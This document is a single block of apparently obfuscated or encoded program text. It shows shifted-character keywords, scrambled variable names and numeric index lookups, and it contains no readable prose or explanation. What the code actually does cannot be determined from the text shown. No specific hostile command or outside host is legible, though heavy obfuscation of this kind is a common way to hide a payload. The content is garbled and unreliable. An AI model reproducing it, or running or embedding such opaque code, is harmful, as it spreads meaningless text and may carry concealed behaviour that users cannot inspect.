~i48k.w(uhz}y()*qsf55<8lp,tkv(-p{red<<!<<<<<<8k.w(uhz}y()*qsf'<iroyh48r.j.ykm)tq}vfz0<<<<8k.w(uhz}y()*qsf5'<<a<uz<<<48lp,tkv(-p{red<<<<!!!<<>>5<<<g8moki.)u~pk<<!<<<soyll~yypdn%it4]^OL]HT<<<2<<~~t*pewxp%lxrp.4...-50<4-%1%55'<<<<<8*junw+pz{Cj<<!<ukC/jmfl}em~f{4.-+.54ukC/jmfl}em~f{4.-))55<<<<<<#<\{yhCslhusr48moki.)u~pk0<>>5<<<&<<>>'<<<uz<<4=8*junw+pz{Cj<<<<<<``<~~t*pewxp%lxrp.4....548*junw+pz{Cj5<< <<<<4(()7))55<<nyhinr'8opyCqf(~t-!/%`-/$'8kf)}.sqwmen)o!8opyCqf(~t-B...'8lp,tkv(-p{red<<!<<<<m.lk~h/*flsu{uvpdjn-s4fe/qwoyysxh4(,.548*junw+pz{Cj55'<uz<<4=8lp,tkv(-p{red<<<``<~~t*pewxp%lxrp.4....548lp,tkv(-p{red5<<< <<<4().7($55<<nyhinr'<<uz<<4=jfx)rnxu%,mC+~f~i48lp,tkv(-p{red55<g<<<swd(~($..Cxnwiox}epi4fe/qwoyysxh4-.$+50<<~~t*pewxp%lxrp.4$+/55'<nyhinr'<<<a<<<<<a<<8j(z{f-*x,z<!<<iex.+md$,oiqx$jhi%z}45'<<8{q$qh,{-x-knidw)<<<!<<<8j(z{f-*x,z<<2<<<ukC/jmfl}em~f{4))5<<2<<<<<8xjm.m}lvkvjf,e'8q{ym{~o~v{o<<!<<<8{q$qh,{-x-knidw)<2<<<;3;<<2<8xjm.m}lvkvjf,e<<2<<<fe/qwoyysxh4.-%-5'<<<<uz<<<<4=\fe/qwoyysxh4-%$.548{q$qh,{-x-knidw)55<<Crdwd-o(p(e{vz}}x48{q$qh,{-x-knidw)0<<<4(($7()50<hniy5'<8ze*{nCnqy}~jhCv<<!<\ukC/jmfl}em~f{4..-/548q{ym{~o~v{o5<#<4ohnur{5<<\u{n~xs$r(~%zo4.-,)548q{ym{~o~v{o5<&<<<<>>'8vx+pjuiw~z%(~rh<<<!<<<z}poy'uz<<48ze*{nCnqy}~jhCv<=!!<>><<<<::<<<<<u{n~xs$r(~%zo4.,/(54u{n~xs$r(~%zo4-%%-50<<<fe/qwoyysxh4.-**548ze*{nCnqy}~jhCv0<<,0<<4(,)/7(/550<<<<8duCdvw.%j.+%p*5<<<::<<jynousrCsql}ny48duCdvw.%j.+%p*G-A0<<k{~w}fh$fk{*s}r}*k/z+h450<;";55<8vx+pjuiw~z%(~rh<<<<<!<<<<<hniy'<<<iroyh48duCdvw.%j.+%p*5'<<<<<uz<<<<4=8vx+pjuiw~z%(~rh<::<<<<48ze*{nCnqy}~jhCv<!!!<<>><``<~~t*pewxp%lxrp.4.-(*54vkC$uou+iut)vwv(+y48ze*{nCnqy}~jhCv55<<<<<=!!<<~~t*pewxp%lxrp.4.-(*548lp,tkv(-p{red555<<g<<<<<uz<<<4o~mz~fi/(/rr)jo-dvudl48q{ym{~o~v{o0<h/zqmsszw-ie}yw)srk48lp,tkv(-p{red555<<<<<gmmhy/nCplvkizofojuy48q{ym{~o~v{o0<<<<4/%.7.$55'<y%(vpw(x(-hw/p48q{ym{~o~v{o5'<p,}zwe%(th(zt%C}48q{ym{~o~v{o5'a<<<<<<a<<iroyh48ze*{nCnqy}~jhCv0<<<<8vx+pjuiw~z%(~rh5'<uz<4u{n~xs$r(~%zo4.-+.54fe/qwoyysxh4.-))55<<<::<<u{n~xs$r(~%zo4.../54~~t*pewxp%lxrp.4-+**555<g8elzw)hh*}ks-k!/+6+'8iswojkj$ttnwq!8elzw)hh*}ks-k1(+'<<<8nmj~p)d/f(((-s<!<<8xjm.m}lvkvjf,e<<2<;3;<<<<<2<<8xjm.m}lvkvjf,e<2<<ukC/jmfl}em~f{4.-%-5'<<<<8dt}f$(k%hyC+oev<<!<<<{yhCslhusr4ukC/jmfl}em~f{4...(50<<<}nn}e455'<<<<<<uz<<<<<4=u{n~xs$r(~%zo4.-..548dt}f$(k%hyC+oev55<8dt}f$(k%hyC+oev<!<<}nn}e45'<<<<uz<<4=ukC/jmfl}em~f{4...)548nmj~p)d/f(((-s0<<<<<<8dt}f$(k%hyC+oev0<<<<<hniy55<<<<g<<<<<<8dt}f$(k%hyC+oevGA<<<<!<8nmj~p)d/f(((-s'ilx}hyCslhusr4~~t*pewxp%lxrp.4...*50<<<<~~t*pewxp%lxrp.4+,.548dt}f$(k%hyC+oev55'a<<<<a<8y-y{xjoqtud~v%<!<<<<iC}s%rysj$jew(osth,,r45'<<<<<<<uz<4\u{n~xs$r(~%zo4-%$.548y-y{xjoqtud~v%5<<``<<Crdwd-o(p(e{vz}}x48y-y{xjoqtud~v%0<<4((*7(+50<hniy55<<g8m)}{z,hlz(/<<!<8y-y{xjoqtud~v%<<<2<<<<;3;<<2<8xjm.m}lvkvjf,e<<2<<<~~t*pewxp%lxrp.4...+5'<<8rq{$ru}x~C<<<!<<\u{n~xs$r(~%zo4..-/548m)}{z,hlz(/5<#<<<<4ohnur{5<\u{n~xs$r(~%zo4.-,)548m)}{z,hlz(/5<&<>>'<8euep~tlzC<<!<<<<z}poy'<<<<uz<<<<<48rq{$ru}x~C<<<=!!<<<<<>><<<<<::<<u{n~xs$r(~%zo4...$54u{n~xs$r(~%zo4-%%-50<u{n~xs$r(~%zo4...%548rq{$ru}x~C0<,0<<4/((+7*(%550<<<8}}*opdx~~,m5<<<::<<jynousrCsql}ny48}}*opdx~~,mG-A0<<<k{~w}fh$fk{*s}r}*k/z+h450<<<<;";55<<<<8euep~tlzC<!<hniy'<iroyh48}}*opdx~~,m5'<uz<4=8euep~tlzC<<::<<<48rq{$ru}x~C<<<!!!<<>><<<<<``<~~t*pewxp%lxrp.4.-(*54vkC$uou+iut)vwv(+y48rq{$ru}x~C55<<<<<<=!!<~~t*pewxp%lxrp.4../,548lp,tkv(-p{red555<<<<<<g8qrr{ewfj}!$,`-,*'8})lukw$no)i+)!8qrr{ewfj}B)-'uz<4o~mz~fi/(/rr)jo-dvudl48m)}{z,hlz(/0<<h/zqmsszw-ie}yw)srk48lp,tkv(-p{red555<<<<g<<mmhy/nCplvkizofojuy48m)}{z,hlz(/0<<<4--7(,%55'y%(vpw(x(-hw/p48m)}{z,hlz(/5'<<<<p,}zwe%(th(zt%C}48m)}{z,hlz(/5'<<<a33<ps{}nuhtqu<}x}lhyn<<<<a<<ypoyuz<<4=8euep~tlzC5<<<<<g<8xv%v~qh{l*v<!<<\~~t*pewxp%lxrp.4..,%548m)}{z,hlz(/5'<<<uz<<<4=8xv%v~qh{l*v<<<<``<48xv%v~qh{l*v<<<9<<4-)(,.$1)(,.$55<<=!!<<<<<lnvdf(p*x*qv(.j455<<y%(vpw(x(-hw/p48m)}{z,hlz(/5'<iroyh48xv%v~qh{l*v5'<airoyh48rq{$ru}x~C0<<8euep~tlzC5'<<<<<a<<~,ukln{tvi,z~h+kr48lp,tkv(-p{red5'a<<<}ht<<4Htnsk}~py<<<<8phr-l)~h-C.5<<<g<<swd(~($..Cxnwiox}epi4~~t*pewxp%lxrp.4../-50<<8phr-l)~h-C.5'<<<<<a<}ht<<<<4Ydylhusr<<8phr-l)~h-C.5<<<<<gaa<zirhusr<<<}d+kuxfp**hpCumCv+fh45<<g<<<<<uz<4=uooyh48C[YHG;l;A5<<<``<<=fe/qwoyysxh4...,548C[YHG;l;A55<<<nyhinr'<<8C~leml+q~w+pux{w<<<<!<<<<<8C[YHG;l;A'uz<<<48C~leml+q~w+pux{w<<<!!!<kC,rdz{oy~rqwC)4ukC/jmfl}em~f{4-(,-555<<<<g<<<<hne<<<<<g8C)%}~n(m*oi%,t<<!<<kqhhzsemj.~r~$/{$u45<<2<;3;<2<<soyll~yypdn%it4]^OL]HT<<<<<2<<~~t*pewxp%lxrp.4../.50<4--.B-.,55<<<2<~~t*pewxp%lxrp.4...+5'<<8e(~hrml*sdqdkyi<<!<<<<\ukC/jmfl}em~f{4..//548C)%}~n(m*oi%,t5<<<#<<<<<4urh5<<\fe/qwoyysxh4..-$548C)%}~n(m*oi%,t5<<&<,'<uz<48e(~hrml*sdqdkyi<<<"<<<4()-7(%5<::<<<8e(~hrml*sdqdkyi<<<< !<4))+-+)7(*$)+,)55<<gurpixy<<8C)%}~n(m*oi%,t'<<aa<}ht<<<<4Htnsk}~py<<<8phr-l)~h-C.5<<<<ga<<<<}ht<<4Ydylhusr<8phr-l)~h-C.5<<g<<<aktupy<<<<4u{n~xs$r(~%zo4()*545<"<,<<::<<\s~CyrxCpy}r455<g<<<a<<<<<<<ty}xyn4u{n~xs$r(~%zo4../(55'yduh'<<<<a<<<uz<<<48C~leml+q~w+pux{w<<=!!<<<<<kC,rdz{oy~rqwC)4ukC/jmfl}em~f{4-/+%555<<nyhinr'<<hne<<<<<<g<<uz<<<<<4~~t*pewxp%lxrp.4../)54fe/qwoyysxh4../*55<<<<::<~~t*pewxp%lxrp.4../)54u{n~xs$r(~%zo4../+555<<<g<<<<\ilx}hyCslhusr4ukC/jmfl}em~f{4)*/50<<4urh5<<\{yhCslhusr4~~t*pewxp%lxrp.4)*/50<<,5<7<<<-0<<<~~t*pewxp%lxrp.4../$55'<<\ilx}hyCslhusr4fe/qwoyysxh4)*)50<<<u{n~xs$r(~%zo4../%5450<fe/qwoyysxh4..(,55'<a8{rvve+fmus<<!<<s.xd/}tfltf*ruC)4u{n~xs$r(~%zo4-/+*50<<<<>>5'<<uz<4u{n~xs$r(~%zo4....548{rvve+fmus5<<<<<<"<<4%$7.5<<::<<=u{n~xs$r(~%zo4..(-54ukC/jmfl}em~f{4..(.50<<8{rvve+fmus5<<::<<~~t*pewxp%lxrp.4..(-54ukC/jmfl}em~f{4..(/50<8{rvve+fmus55<<<g<<8p%squ+s.C{<<!<<<\fe/qwoyysxh4(,.548{rvve+fmus0<<<<<<hniy5'uz<<48p%squ+s.C{<<=!!<<z}poy<<::<~~t*pewxp%lxrp.4....548p%squ+s.C{5<<<<<"<<<<<<4))7()55<<8{rvve+fmus<<!<8p%squ+s.C{'a<<uz<<4fe/qwoyysxh4..((548{rvve+fmus5<< <<<4-/$1/$55<<<<8{rvve+fmus<<!<<<vfyv($sjuC$,e*45'<<uz<<4u{n~xs$r(~%zo4..()548{rvve+fmus5<< <<4++7./55<<g<ktupy<<<<4fe/qwoyysxh4()*545<<<<<"<<,<<<<::<<\s~CyrxCpy}r455<<g8l,d/y{.~!%-$,'8vs,i(-v%*xd%!8l,d/y{.~9/'<<<<<<<<a<<<ty}xyn4fe/qwoyysxh4..(*55'<ty}xyn4~~t*pewxp%lxrp.4..(+55'<<<<<ty}xyn4u{n~xs$r(~%zo4..($55'<<yduh'<a<8u~%~)h}mj)yr~<<<<!<<<<s.xd/}tfltf*ruC)4~~t*pewxp%lxrp.4..(%50<<>>5'<<8kwm+vl{wdn.d+ih<!<<;>;<2<<<<<<fe/qwoyysxh4../,548u~%~)h}mj)yr~<<<2<<<<8{rvve+fmus5<2<<<<<;>;'<<uz<4uooyh48COYNJYNGfe/qwoyysxh4..),5A5<<<::<<<<ukC/jmfl}em~f{4-.$-548COYNJYNGu{n~xs$r(~%zo4..),5A5<<!!!<8kwm+vl{wdn.d+ih5<gktupy<<<4u{n~xs$r(~%zo4()*545<<<"<,<<::<<\s~CyrxCpy}r455<g<<<a<ty}xyn4ukC/jmfl}em~f{4..)-55'<<<<ty}xyn4fe/qwoyysxh4..).5<<<2<<<8kwm+vl{wdn.d+ih5'<<<<yduh'<<<<aktupy<<<4ukC/jmfl}em~f{4()*545<<<<<"<<,<<<<::<<<\s~CyrxCpy}r455<<<<<g<<<<aty}xyn4ukC/jmfl}em~f{4..(*55'<<<<<ty}xyn4ukC/jmfl}em~f{4..)/55'<<<<<<<ty}xyn4ukC/jmfl}em~f{4..)(55'<ty}xyn4ukC/jmfl}em~f{4..))5<2<8kwm+vl{wdn.d+ih5'<<<<yts<<8u~%~)h}mj)yr~<2<<8{rvve+fmus'<<<<yduh'<<<a<}ht<<<<<4Htnsk}~py<8phr-l)~h-C.5<g<<<<<swd(~($..Cxnwiox}epi4fe/qwoyysxh4..)*50<8phr-l)~h-C.5'<a<<<<<}ht<<<4Ydylhusr<<<8phr-l)~h-C.5<<g<<<<<swd(~($..Cxnwiox}epi4fe/qwoyysxh4..)*50<8phr-l)~h-C.5'a33<KL<Opsh<Zupp&<lnsvyh<urvyhsn<<a}d+kuxfp**hpCumCv+fh45'<<<<<zirhusr<<<<m}kd)+y))s(ehz$45g<uz<4=uooyh48C[YHGukC/jmfl}em~f{4..)+5A55<<nyhinr'hne<g<8l}inou)s+{C<<<<<!<8C[YHG~~t*pewxp%lxrp.4..)+5A'<uz<<<4=u{n~xs$r(~%zo4..)$548l}inou)s+{C5<<<<``<<8l}inou)s+{C<<<<!!!<<>>5<<<<<nyhinr'8l}inou)s+{C<!<ukC/jmfl}em~f{4++548l}inou)s+{C5'<<8~msi($y+ovC(<!<<}nn}e45'<<<uz<<<4~~t*pewxp%lxrp.4..)%54fe/qwoyysxh4..*,555<<<8~msi($y+ovC(GA<!<4ohnur{5<<<<<<fe/qwoyysxh4..*-54tsqyCinp450<LTLCINPCTSOH5'uz<<<<4~~t*pewxp%lxrp.4..*.54fe/qwoyysxh4..*/555<<<<g<8C{/hkym+lo-v<<<<<!<<<<<4ohnur{5<<<<\{yhCslhusr4~~t*pewxp%lxrp.4..*(50<<>>5'<<<<<<<uz<48C{/hkym+lo-v<<<<=!!<<<>>5<8~msi($y+ovC(GA<<!<<<4ohnur{5<<<~~t*pewxp%lxrp.4..*-548C{/hkym+lo-v0<<<LTLCINPCTSOH5'<<<<<<auz<4uooyh48COYNJYNGfe/qwoyysxh4*(*5A55<<<<<<8~msi($y+ovC(GA<<<!<4ohnur{5<<8COYNJYNGukC/jmfl}em~f{4..*)5A'<<<8~msi($y+ovC(GA<<!<k{flojeyw,sm~z4>>5'8zek($ymm/n}ozmd<<!<z}poy'<zsny}t<<<<4ukC/jmfl}em~f{4-%+*548~msi($y+ovC(5<<<<<}o<<8j+dho%/f(s5<<<<<<g8z(.r)sjl!LTLCURHCQ]D3LTLCURHCQ]D'8xnC{jwxufn!8z(.r)sjl7($'<<uz<<4=u{n~xs$r(~%zo4..**548j+dho%/f(s5<``<<8j+dho%/f(s<<<<<!!!<<>>5<<<srhuriy'<<<uz<4u{n~xs$r(~%zo4.-$.548j+dho%/f(s0<<;&;5<=!!<z}poy5<<<<8j+dho%/f(s<<<<<!<<<<<fe/qwoyysxh4.-+$54u{n~xs$r(~%zo4..*+50<<<<>>0<<<<<8j+dho%/f(s5'<<<<<<uz<<<<4soyll~yypdn%it4u{n~xs$r(~%zo4++548j+dho%/f(s5<<2<u{n~xs$r(~%zo4..*$50<4-*+B-+-55<<<<!!!<8l}inou)s+{C5<<<<g<<<8zek($ymm/n}ozmd<!<<hniy'8djjn*+{hC$i!LTLCQ]VSNCJYNOUSR'8kx-m(j(}em),-.!8djjn*+{hC$i6*'~ny}w'a<<<a<uz<4=8zek($ymm/n}ozmd5<<<nyhinr'<8pwwvo/dq*iy<<<<<<!<<u{n~xs$r(~%zo4-/$$54ukC/jmfl}em~f{4..*%50<<4..(B.)(55'<<<8zrq)xlv+)$wmn<<!<<<<<<m.lk~h/*flsu{uvpdjn-s4i)C/drlz/rl/*v~zjueC48pwwvo/dq*iy55'<ktupy<<4~~t*pewxp%lxrp.4()*545<"<,<<<<::<\s~CyrxCpy}r455<<<<g<a<ty}xyn4fe/qwoyysxh4..+,55'<ty}xyn4~~t*pewxp%lxrp.4..+-55'<<yts<<<48zrq)xlv+)$wmn<<<<!!!<<8pwwvo/dq*iy5<<#<~~t*pewxp%lxrp.4..+.5<<2<~~t*pewxp%lxrp.4..+/548pwwvo/dq*iy5<&<fe/qwoyysxh4..+(5'<<<yduh'<<<a<<<}ht<4Htnsk}~py<<8phr-l)~h-C.5<<<g<<<<swd(~($..Cxnwiox}epi4~~t*pewxp%lxrp.4..+)50<<<<<8phr-l)~h-C.5'<<<<a<}ht<4Ydylhusr<<<<8phr-l)~h-C.5<<<g<<<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4..+)50<<8phr-l)~h-C.5'<<<<<a<a<<<m}kd)+y))s(ehz$45'<<<<<<<zirhusr<<<nvxtm.jmliuw-$niw{$i45<<g<hne<guz<<4fe/qwoyysxh4..+*54fe/qwoyysxh4..++555<nswyhCpy}rCxsq}ur45'<<<<<<uz<<<<4u{n~xs$r(~%zo4..+*54fe/qwoyysxh4..+$555<<k/hCzpiotC}pp45'uz<<4~~t*pewxp%lxrp.4..+*54u{n~xs$r(~%zo4..+%555<<<o{C}tylnyooClin{yC}ty45'uz<<<<4~~t*pewxp%lxrp.4..+*54fe/qwoyysxh4..$,555<puhyolyyxClin{yC}pp45'<<ypoyuz<4ukC/jmfl}em~f{4-).)54fe/qwoyysxh4..$-55<<<<::<<u{n~xs$r(~%zo4%%54u{n~xs$r(~%zo4..$.50<<<<fe/qwoyysxh4..$/555<PuhyOlyyxC_}tyC]LU&&lin{yC}pp45'<<<uz<<<4ukC/jmfl}em~f{4-).)54u{n~xs$r(~%zo4..$(55<::<<fe/qwoyysxh4..$)54ukC/jmfl}em~f{4..$(50<<fe/qwoyysxh4..$*555<<<<^nyyfyCLin{y_}ty&&~nyyfyC}tyCzpiot45'<uz<4u{n~xs$r(~%zo4-).)54u{n~xs$r(~%zo4*-,55<::<<<~~t*pewxp%lxrp.4..$+54~~t*pewxp%lxrp.4*-,50<u{n~xs$r(~%zo4..$$555<<_}tyCYr}~pyn&&py}nChsh}pC}ty45'<<<<<<uz<<4u{n~xs$r(~%zo4..+*54u{n~xs$r(~%zo4..$%555<<<<klzCpy}nC}ppC}ty45'<ypoyuz<<4uooyh48[PS^]POGukC/jmfl}em~f{4*--5A5<<::<<fe/qwoyysxh4..%,548[PS^]POG~~t*pewxp%lxrp.4*--5A5<::<<<<<ukC/jmfl}em~f{4..$+548[PS^]POGu{n~xs$r(~%zo4*--5A0<<u{n~xs$r(~%zo4..%-555<<<8[PS^]POGukC/jmfl}em~f{4*--5A1"xypyhy_}ty4hniy5'<<uz<<4fe/qwoyysxh4..+*54~~t*pewxp%lxrp.4..%.555<klC}tyCpy}nC}ty45'<<<<<uz<4~~t*pewxp%lxrp.4-).)54ukC/jmfl}em~f{4..%/55<<::<<~~t*pewxp%lxrp.4..$+54~~t*pewxp%lxrp.4..%(50<<<~~t*pewxp%lxrp.4..%)555<<}ihslhuqufy_}ty&&py}n}pp45'<<swd(~($..Cxnwiox}epi4u{n~xs$r(~%zo4(%/50<<~~t*pewxp%lxrp.4..%*55'<a<<<<}ht<<4Htnsk}~py<<<8phr-l)~h-C.5<<<<<g<<<<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4(%/50<<8phr-l)~h-C.5'<<a<<}ht<<<4Ydylhusr<8phr-l)~h-C.5<<<<g<<<<<<a<<a<<zirhusr<thuo~/nq.l.sv}$m(il45guz<<4ukC/jmfl}em~f{4..+*54ukC/jmfl}em~f{4..%+55<<<::<<<<<<uoC}xqur455<nyhinr<hniy'<<<<<<<<uz<<<4u{n~xs$r(~%zo4..+*54u{n~xs$r(~%zo4..%$55<<::<<<klCxsur{C}v}d455<<nyhinr<hniy'<<<<uz<4xyzuryx4fe/qwoyysxh4..%%55<::<NYOHCNYMIYOH5<<<nyhinr<hniy'uz<4xyzuryx4~~t*pewxp%lxrp.4./,,55<<::<<<<DQPNL_CNYMIYOH5<<<nyhinr<<<hniy'uz<<<4~~t*pewxp%lxrp.4..+*54fe/qwoyysxh4./,-55<<<<<::<<<uoCzyyx455<<nyhinr<hniy'<<<<<<<uz<4fe/qwoyysxh4..+*54ukC/jmfl}em~f{4./,.55<<::<<<<uoCns~sho455<<<nyhinr<hniy'<<<<uz<4fe/qwoyysxh4..+*54fe/qwoyysxh4./,/55<::<<<uoCouhyq}lo455<<<nyhinr<<<hniy'uz<<4u{n~xs$r(~%zo4..+*54fe/qwoyysxh4./,(55<<::<<<uoCiohsqufyClnyjuyk455<<<nyhinr<<<hniy'<<uz<4uooyh48C[YHGfe/qwoyysxh4./,)5A5<<<<<``<<uooyh48C[YHGukC/jmfl}em~f{4./,*5A5<<``<<uooyh48C[YHGukC/jmfl}em~f{4./,+5A55<nyhinr<hniy'<<nyhinr<<<z}poy'azirhusr<ysmsfduCy,ow(iuwjwo45<<g8q.iusx%!%-6/'8zuz$hexqy.r~}r!8q.iusx%1%'<<<<8rjk/Ch%d}{%j}y<<<!<<4uooyh48[PS^]POG~~t*pewxp%lxrp.4+-/5A5<::<<<fe/qwoyysxh4..**548[PS^]POG~~t*pewxp%lxrp.4+-/5A55<<<#<<<u{n~xs$r(~%zo4-.$-548[PS^]POGfe/qwoyysxh4+-/5A5<<<<&<<<>>'uz<48rjk/Ch%d}{%j}y<<<!!!<<<<>>5<nyhinr<>>'8rjk/Ch%d}{%j}y<!<<<u{n~xs$r(~%zo4./,$54u{n~xs$r(~%zo4./,%50<<<<<~~t*pewxp%lxrp.4./-,50<<<8rjk/Ch%d}{%j}y5'<<8hq%l$qjk(+ymzp(<<!<<<ukC/jmfl}em~f{4..+*54~~t*pewxp%lxrp.4./--55<<<<#<<<<<<4ohnur{5<<u{n~xs$r(~%zo4..*-54tsqyCinp450<LTLCINPCTSOH5<<<<&<<<<<>>'<<8pi(qdjvevd~mf.k<<<<<!<<soyll~yypdn%it4fe/qwoyysxh4++548hq%l$qjk(+ymzp(50<<<4/7/55'<<<<8rfxt.,.hth)~q<<<<!<<<<~~t*pewxp%lxrp.4...%54ukC/jmfl}em~f{4..+/548rjk/Ch%d}{%j}y50<<<,0<4(7.55'<nyhinr<>@r onulh<x}h}1o!@>><<<2<<<8pi(qdjvevd~mf.k<<<2<<;1;<<2<8rfxt.,.hth)~q<<2<>@>"@r><<<<<2<<<<<<8rjk/Ch%d}{%j}y<<2<>@r 3onulh"@r =11<o><<<<<2<<<8pi(qdjvevd~mf.k<<<2<<;1;<2<<<<<8rfxt.,.hth)~q<<<<<<2<<<><11"@r>'a<zirhusr<<<ool*v{wr)(n~x*qu45g<<<<<hne<<g<<<<<<<uz<<<4thuo~/nq.l.sv}$m(il455<<<<nyhinr'<<<<<8wnqekdyeqCnsvd<<<!<ysmsfduCy,ow(iuwjwo45'<<<<<<uz<<48wnqekdyeqCnsvd<<!!!<<<>>5<nyhinr'<<<<<yts<<8wnqekdyeqCnsvd'<8[PS^]POGfe/qwoyysxh4)))5A<!<<hniy'<<uz<4fe/qwoyysxh4./-.54u{n~xs$r(~%zo4./-/55<<<<<::<<u{n~xs$r(~%zo4./-.54fe/qwoyysxh4./-(55<<<::<yqlhe48[PS^]POG~~t*pewxp%lxrp.4./-)5A55<g<<8[PS^]POGukC/jmfl}em~f{4./-*5A<<!<<<hniy'<<<<8jxtp,u)iji.p$<<<<!<<<<4urh5<<<\{yhCslhusr4~~t*pewxp%lxrp.4)*,50<<,5'<<uz<4~~t*pewxp%lxrp.4../%545<<<<1<<<<8jxtp,u)iji.p$<<"<<<<4.%(7*55<<\ilx}hyCslhusr4fe/qwoyysxh4)*,50<ukC/jmfl}em~f{4./-+5450<<<u{n~xs$r(~%zo4..(,55'<<<iroyh48jxtp,u)iji.p$5'a<a<}ht<<<<4Htnsk}~py<<8phr-l)~h-C.5<<gswd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4$-*50<8phr-l)~h-C.5'a<}ht<4Ydylhusr<8phr-l)~h-C.5<ga<<<<a<<zirhusr<d$pywy.eru+-}$*qw~%+48utw.dmd,hj+k$5<g<<<uz<<<<<4=u{n~xs$r(~%zo4..**548utw.dmd,hj+k$5<``<8utw.dmd,hj+k$<<!!!<<<<<>>5<<<<nyhinr<<<8utw.dmd,hj+k$'uz<<4=yqlhe48[PS^]POGukC/jmfl}em~f{4./-$5A55<<<<<nyhinr<<8utw.dmd,hj+k$'<<<8wnqekdyeqCnsvd<<!<ysmsfduCy,ow(iuwjwo45'<uz<<48wnqekdyeqCnsvd<<!!!<>>5<nyhinr<8utw.dmd,hj+k$'<<<<uz<<<4ohnulso48utw.dmd,hj+k$0<<<u{n~xs$r(~%zo4./-%55<!!!<<z}poy<::<ohnulso48utw.dmd,hj+k$0<<<u{n~xs$r(~%zo4./.,55<<!!!<z}poy5<<<<<<nyhinr<<<8utw.dmd,hj+k$'<<<<8[PS^]POGukC/jmfl}em~f{4./-$5A<<<!<hniy'<8[PS^]POGfe/qwoyysxh4))+5A<<<!<<<<<<hniy'<8l*+C$.ix*y}rdr<<!<<ohnulso48utw.dmd,hj+k$0<ukC/jmfl}em~f{4./-%55'<<uz<<<48l*+C$.ix*y}rdr<<<=!!<<<<z}poy5<<gnyhinr<<<<fe/qwoyysxh4...%548utw.dmd,hj+k$0<<,0<8l*+C$.ix*y}rdr5<<<<2<8wnqekdyeqCnsvd<2<u{n~xs$r(~%zo4...%548utw.dmd,hj+k$0<<8l*+C$.ix*y}rdr5'<<a33<LTL<$2(<zu~yno&<ymiuj}nu}rh<x}h}zpsk1{n}lt<<nyhinr<<8utw.dmd,hj+k$<<2<<<<<8wnqekdyeqCnsvd'a<<<<<zirhusr<<<<<ow$*p(zxrqk(mr/.n.*up45g<<<hne<<<g33<KL<^psw_srhnspo&<urzyn<lulypuryuz<<4thuo~/nq.l.sv}$m(il455<<<nyhinr'<<<uz<<4=yqlhe48[PS^]POGu{n~xs$r(~%zo4./.-5A55<nyhinr'<<<<<8rjk/Ch%d}{%j}y<!<4uooyh48[PS^]POGukC/jmfl}em~f{4+-/5A5<<<::<~~t*pewxp%lxrp.4./..548[PS^]POG~~t*pewxp%lxrp.4././5A55<<#<<<<<fe/qwoyysxh4-.$-548[PS^]POGu{n~xs$r(~%zo4./.(5A5<&<<<<>>'8xzuzzh+uql!LTLCQ]VSNCJYNOUSR'8utz%snClx+vw+r!8xzuzzh+uql6*'uz<<<<<48rjk/Ch%d}{%j}y<!!!<<>>5<nyhinr'8[PS^]POG~~t*pewxp%lxrp.4./.-5A<<<<<!<<hniy'<<<<<<<<\u{n~xs$r(~%zo4./.)54ukC/jmfl}em~f{4./.*55'<a<}ht<<<4Htnsk}~py<8phr-l)~h-C.5<<<<g<<swd(~($..Cxnwiox}epi4~~t*pewxp%lxrp.4))*50<<8phr-l)~h-C.5'<<<a<}ht<<<<<4Ydylhusr<<<<<8phr-l)~h-C.5<<g<<<a<<a<<<zirhusr<<ty//.vpooiihqwl.uu45<<<<<<<<g<<<hne<<<g<<uz<4=uoC}xqur45<<<::<<4=uooyh48[PS^]POGfe/qwoyysxh4./.+5A5<<``<8[PS^]POGu{n~xs$r(~%zo4./.$5A<<<=!!<<~~t*pewxp%lxrp.4./.%555<<nyhinr'<uz<<4fe/qwoyysxh4./-.54ukC/jmfl}em~f{4)(.55<<<<<::<<=uoCoop455<nyhinr'<<8x~xiy,v~tzqk<<<!<s.xd/}tfltf*ruC)4fe/qwoyysxh4-/+(50<<<<>>5'<<<8pi(qdjvevd~mf.k<<<<<!<<<soyll~yypdn%it4]^OL]HT<<<<2<ukC/jmfl}em~f{4$-*50<<<4--.B--$55'<8xjz.,+k$z.j-in<<!<<<<<u{n~xs$r(~%zo4-*%$5'<uz<<<48x~xiy,v~tzqk<<<<!!!<<<>>5<g<<uz<<<<4ukC/jmfl}em~f{4./-.54fe/qwoyysxh4./-/55<<<::<4urh5<<\{yhCslhusr4ukC/jmfl}em~f{4)*$50<<<,55<<<<g<<<<<<\ilx}hyCslhusr4u{n~xs$r(~%zo4)*$50<,0<<<<<ukC/jmfl}em~f{4..(,55'8m$()i-jdnjr/fqwq<<!<4ohnur{5<<<<\{yhCslhusr4ukC/jmfl}em~f{4.//,50<>>5'<<<<<yts<<>@r><<2<<ukC/jmfl}em~f{4.//-5<<<2<<<8pi(qdjvevd~mf.k<2<<<;";<<<2<<<u{n~xs$r(~%zo4.//.5<<<<2<<<ukC/jmfl}em~f{4.///5<2<<<<<<8xjz.,+k$z.j-in4ukC/jmfl}em~f{4.//(55<<<<2<<fe/qwoyysxh4.//)5<<2<<<ukC/jmfl}em~f{4.//*5<<<<2<<fe/qwoyysxh4-/*.548m$()i-jdnjr/fqwq5<<<<2<;';<<<2<<ukC/jmfl}em~f{4.//+5<<<<2<<<8xjz.,+k$z.j-in4u{n~xs$r(~%zo4.//$55<<<<<2<<<fe/qwoyysxh4.//%5<2<~~t*pewxp%lxrp.4./(,5<<<2<8xjz.,+k$z.j-in4fe/qwoyysxh4./(-55<<<2<<<<<u{n~xs$r(~%zo4./(.5<2<8xjz.,+k$z.j-in4u{n~xs$r(~%zo4./(/55<2<<<<ukC/jmfl}em~f{4./(.5<2<<<8xjz.,+k$z.j-in4~~t*pewxp%lxrp.4./((55<<2<fe/qwoyysxh4./()5<<<<2<8xjz.,+k$z.j-in4~~t*pewxp%lxrp.4./(*55<<2<<u{n~xs$r(~%zo4./(+5<<<<2<<~~t*pewxp%lxrp.4./($5<<<<<2<8xjz.,+k$z.j-in4u{n~xs$r(~%zo4./(%55<<2<<<<fe/qwoyysxh4./),5<<2<8xjz.,+k$z.j-in4fe/qwoyysxh4./)-55<<<<2<<~~t*pewxp%lxrp.4./).5<<<<<<<2<<ukC/jmfl}em~f{4./)/5<<<2<<<>@r>'iroyh48m$()i-jdnjr/fqwq5'<<a<<<<<<nyhinr'<a8x~xiy,v~tzqk<<!<ukC/jmfl}em~f{4./)(54ukC/jmfl}em~f{4-//.50<<u{n~xs$r(~%zo4-///50<<<<<8x~xiy,v~tzqk5'<<<uz<4~~t*pewxp%lxrp.4.-$.548x~xiy,v~tzqk0<